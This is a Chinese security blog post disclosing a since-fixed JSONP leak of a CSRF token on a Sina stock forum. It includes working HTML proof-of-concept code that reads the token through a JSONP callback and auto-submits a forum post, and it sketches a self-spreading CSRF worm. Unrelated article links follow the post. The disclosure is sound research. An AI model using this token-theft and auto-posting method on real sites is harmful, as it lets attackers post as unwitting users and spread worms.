分享一个jsonp劫持造成的新浪某社区CSRF蠕虫
最近jsonp很火,实话说已经是被玩烂了的,只是一直没有受到大家的重视。正好在上个月,我挖过一个由于jsonp造成的新浪某社区CSRF,当时是为了准备一篇文章,之后这篇文章也会拿出来分享。
因为新浪已经修复了问题,所以我先把这个漏洞分享出来。以下是当时写的部分文章。
0x01 引子
听说新浪五月送衣服,我其实也没太多空去挖洞。本来想交一个两年前挖的CSRF刷粉,结果拿出来一看那洞早没了,目标站都换了。
详细说,就是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)去了。
最近股市很火啊,多少人在股市里发家致富。于是我简单开着burpsuite在股吧里转了一圈,发现了一处有意思的CSRF。
新浪微博玩的多的同学都知道新浪针对CSRF漏洞的防御策略是检查Referer,但股吧发帖这里却不是,少见地检查是token。

如图,抓一个正常发帖的POST数据包,我们可以看到其中含有_csrf_token这个字段。经过简单FUZZ发现,这个请求是不检查Referer的,只要_csrf_token正确即可发帖。
那么,如何获取_csrf_token,我有如下思路:
- 查看本站是否有泄漏token的jsonp
- 通过flash窃取源码
为什么我会有以上思路?首先,获取token一定是一个跨域过程,跨域的话通常就是CORS、postMessage和jsonp,这里CORS和postMessage都是不存在的,那么我就去找jsonp。
flash的思路应该已经流传已久了,去年这个时候/fd就已经在drops里说到了这个:http://drops.wooyun.org/tips/2031
但法2有一个很重要的条件是我们需要找到一个能控制输出内容的点,如上传、jsonp等,但实际上这样的位置并不好找,利用起来不如第一种方法简单。
0x02 jsonp出卖了你的_csrf_token
那么,跟着自己的思路来测试。
我先将_csrf_token修改成随意一个字符串,发送发现返回这样一个结果:

返回的数据包是一个json格式的字符串,其中包含了一个_csrf_token。多次发送这个数据包,我发现这个token每次都会变化。
那么我大概可以猜到,股吧的token是一个动态生成的,应该是储存在session中,每次检查完成后会生成一个新的。
但这里是json格式的返回值,而非jsonp。
于是我在GET参数中加入“&callback=hehehe”试试:

很明显,返回的格式变了。虽然不是jsonp,但却是一个<script>了。
为什么加上callback=hehehe就变了?这应该是一个开发习惯,通常开发设计api的时候都会有json和jsonp两种格式,而通常取jsonp的函数名的变量名就是callback。
这里是<script>还是没法跨域呀,parent.hehehe执行父框架中的hehehe函数,但父框架(10.211.55.3)和guba.sina.com.cn还是不同域,chrome下会爆出这个错误:

继续尝试,将HTTP方法改成GET:

惊喜,方法一变就得到jsonp了。
那么我用这个jsonp里的_csrf_token试试能不能成功发帖:

悲剧的是,不行……
那么我有两个猜想
- _csrf_token和HTTP方法有关,GET方法只能痛GET方法获取的token,POST用POST的token
- _csrf_token和“吧id”有关,不同id对应不同token。原因是返回错误的原因里多次提到“缺少参数:吧id或吧名”。
第一个猜想被我的程序员直觉否定了,我没见过有这样写程序的。
我尝试第二个猜想,在GET数据包的URL中加上&bid=9947,再次发送数据包:

仍然是jsonp格式,我将这个token再写入post数据包中发送:

成功了!
一个jsonp将_csrf_token彻底出卖了。
0x03 构造POC发表任意帖子
那么我开始编写POC来完成刚才手工完成的步骤。思路如下:
- jsonp获得token
- 构造POST表单提交
先构造一个获取token的简单代码:
Default
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
console.log(obj);
alert(obj["result"]["data"]["_csrf_token"]);
}
</script>
<script type="text/javascript" src=“https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script>
</head>
</html>
|
效果如图:

已经获取到token了。
这时候,将token嵌入表单中提交即可:
Default
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend">
<input type="hidden" name="bid" value="9947">
<input type="hidden" name="tid" value="">
<input type="hidden" name="content" value="这是测试结果">
<input type="hidden" name="title" value="这是测试标题">
<input type="hidden" id="token" name="_csrf_token" value="">
<input type="hidden" name="anonymous" value="1">
</form>
<script type="text/javascript">
function hehehe(obj){
console.log(obj);
var csrf_token = obj["result"]["data"]["_csrf_token"];
document.getElementById("token").value = csrf_token;
document.getElementById("csrfsend").submit();
}
</script>
<script type="text/javascript" src="https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script>
</body>
</html>
|
以上代码,保存为sinacsrf.html,任意用户访问后即可触发,在板块9947发表一篇新帖子:

如图可见已发表:

这就是一个很典型的CSRF漏洞,通过jsonp窃取token来绕过后端的检查。
发表的帖子里还能再贴入链接,引诱其他用户点击,点击访问再次发帖,造成一个CSRF蠕虫。
分享一个jsonp劫持造成的新浪某社区CSRF蠕虫的更多相关文章
- 【网站开发】在新浪SAE上搭建一个博客
概述 在新浪SAE上搭建一个博客 1.访问新浪SAE站点 http://sae.sina.com.cn/ 2.注册新浪SAE 3.选择应用仓库 4.选择WordPress 5.安装WordPress ...
- 【玩转微信公众平台之六】 搭建新浪SAEserver
赶紧接上一篇继续讲. ------本篇将介绍怎样搭建 新浪SAEserver.猛戳 http://sae.sina.com.cn/1.先自己注冊一个账号,假设有新浪的账号,微博之类的都能够直接拿来用, ...
- 新浪sae 项目之 git 配置
新浪sae 项目现在支持git 配置了,但是有好多人配置不成功.下面对这个问题进行一个总结. 1. 在新浪云上面新建项目(该步骤省略) 2. 一般新建完毕后,会让你选择代码的管理工具,如下 注意这里, ...
- 【玩转微信公众平台六】 构建新浪SAEserver
连接急于继续发言. ------本文主要介绍介绍如何设置 新浪SAEserver.猛戳 http://sae.sina.com.cn/1.先自己注冊一个账号,假设有新浪的账号,微博之类的都能够直接拿来 ...
- 在新浪sae上部署WeRoBot
花了整整一个下午,终于在新浪sae部署完成WeRoBot,现在将其中的曲折记录下来. 首先下载WeRoBot-SAE-demo,按照README.md中的要求,执行下述命令: git clone gi ...
- 新浪某站CRLF Injection导致的安全问题
CRLF攻击的一篇科普:新浪某站CRLF Injection导致的安全问题(转) 转:https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injectio ...
- CRLF攻击的一篇科普:新浪某站CRLF Injection导致的安全问题(转)
转:https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html 新浪某站CRLF Injection导致的安全问题 PHITHON ...
- 主攻互动娱乐和视频自媒体,新浪SHOW是不是桩好生意?
对互联网互动服务平台而言,近期几年会是空前重要的发展阶段,首先,互联网行业的持续发展.网民数量的持续激增必定带动网络互动朝更普及的方向迈进.其市场规模也必定会呈极数增长.其次,互动娱乐.视频自 ...
- android新浪分享实例
新浪分享比较简单,新浪有提供完整的demo. android实现新浪的分享功能,分3种分享情况: 纯文本的,带图片的,图片为本地图片(传入的是图片在手机的地址),第2种带图片的是,网络图片,图片地址为 ...
随机推荐
- html+css 制作简易导航栏
二话不说直接上代码(萌新:实在也没什么好说的) <!DOCTYPE html> <html lang="en" xmlns="http://www.w3 ...
- Python基础之面对对象进阶
阅读目录 isinstance和issubclass 反射 setattr delattr getattr hasattr __str__和__repr__ __del__ item系列 __geti ...
- 记一个bug
就在刚刚,测试叫我去看一个问题,有用户反应,在业务页面,出现了一部分重复的内容,而且点击按钮弹窗里,出现了只有个title,没有body的情况. 事情的现象就是这样.然后我就开始着手找原因了.首先声明 ...
- spring注解驱动--组件注册
为容器中注册Bean @Configuration代表该类是一个配置类,配置类起到的作用和xml配置文件一样 @Bean代表该方法的返回对象作为Bean加入IOC容器,默认Bean的id是方法的名称. ...
- zookeeper的分布式锁
实现分布式锁目前有三种流行方案,分别为基于数据库.Redis.Zookeeper的方案,其中前两种方案网络上有很多资料可以参考,本文不做展开.我们来看下使用Zookeeper如何实现分布式锁. 什么是 ...
- KindEditor富文本编辑器使用
我的博客本来打算使用layui的富文本编辑器,但是出了一个问题,无法获取编辑器内容,我参考官方文档,获取内容也就那几个方法而已,但是引入进去后始终获取的值为空,百度和bing都试过了,但是始终还是获取 ...
- MyExceptionFilter 异常注入
public class MyExceptionFilter : IExceptionFilter { private ILogService logService; public MyExcepti ...
- 开发中的Date处理
数据库中的日期格式有以下几种: date:年-月-日 time:时:分:秒 datatime:年-月-日 时:分:秒 timestrap: 例如,生日显示格式为'年-月-日',而创建/更新时间格式为' ...
- 乐观锁vs悲观锁
引言 为什么需要锁(并发控制) 在并发的环境中,会存在多个用户同时更新同一条数据,这时就会产生冲突. 冲突结果: 丢失更新:一个事务的更新覆盖了其它事务的更新结果,就是所谓的更新丢失. 脏读:当一个事 ...
- 微信小程序手机预览请求不到数据(最后一条不明所以)
本地开发调试小程序时,用手机预览需要有如下设置:1.微信开发者工具中设置:不校验安全域名.web-view 域名.TLS 版本以及 HTTPS 证书.这样在有网络请求的时候,就可以访问本地的服务器了, ...